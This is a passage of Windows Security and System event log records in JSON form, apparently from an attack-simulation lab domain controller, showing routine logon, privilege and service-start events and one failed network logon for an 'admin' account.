ID:\t\t0x3E7\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t5\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x354\r\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":"5","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221470,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\r\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76790,"ProcessID":852,"ThreadID":1288,"Channel":"System","Message":"The AWSLiteAgent service entered the running state.","param1":"AWSLiteAgent","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221471,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t5\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x354\r\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":"5","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221472,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\r\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221473,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tNo\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-7\r\n\tAccount Name:\t\tANONYMOUS LOGON\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x2174E\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\tNTLM V1\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-7","TargetUserName":"ANONYMOUS LOGON","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x2174e","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TransmittedServices":"-","LmPackageName":"NTLM V1","KeyLength":"0","ProcessName":"-","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1843","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76791,"ProcessID":852,"ThreadID":944,"Channel":"System","Message":"The PcaSvc service entered the running state.","param1":"PcaSvc","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76792,"ProcessID":852,"ThreadID":944,"Channel":"System","Message":"The IsmServ service entered the running state.","param1":"IsmServ","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76793,"ProcessID":852,"ThreadID":2688,"Channel":"System","Message":"The Dfs service entered the running state.","param1":"Dfs","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76794,"ProcessID":852,"ThreadID":916,"Channel":"System","Message":"The EFS service entered the running state.","param1":"EFS","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76795,"ProcessID":852,"ThreadID":916,"Channel":"System","Message":"The WpnService service entered the running state.","param1":"WpnService","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76796,"ProcessID":852,"ThreadID":2596,"Channel":"System","Message":"The DFSR service entered the running state.","param1":"DFSR","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76797,"ProcessID":852,"ThreadID":916,"Channel":"System","Message":"The WinRM service entered the running state.","param1":"WinRM","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76798,"ProcessID":852,"ThreadID":916,"Channel":"System","Message":"The StateRepository service entered the running state.","param1":"StateRepository","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76799,"ProcessID":852,"ThreadID":916,"Channel":"System","Message":"The sysmon64 service entered the running state.","param1":"sysmon64","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76800,"ProcessID":852,"ThreadID":2684,"Channel":"System","Message":"The tiledatamodelsvc service entered the running state.","param1":"tiledatamodelsvc","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76801,"ProcessID":852,"ThreadID":1152,"Channel":"System","Message":"The ADWS service entered the running state.","param1":"ADWS","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221474,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t5\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x354\r\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":"5","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221475,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\r\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76802,"ProcessID":852,"ThreadID":2684,"Channel":"System","Message":"The vds service entered the running state.","param1":"vds","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221476,"ProcessID":860,"ThreadID":1100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t58606\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was 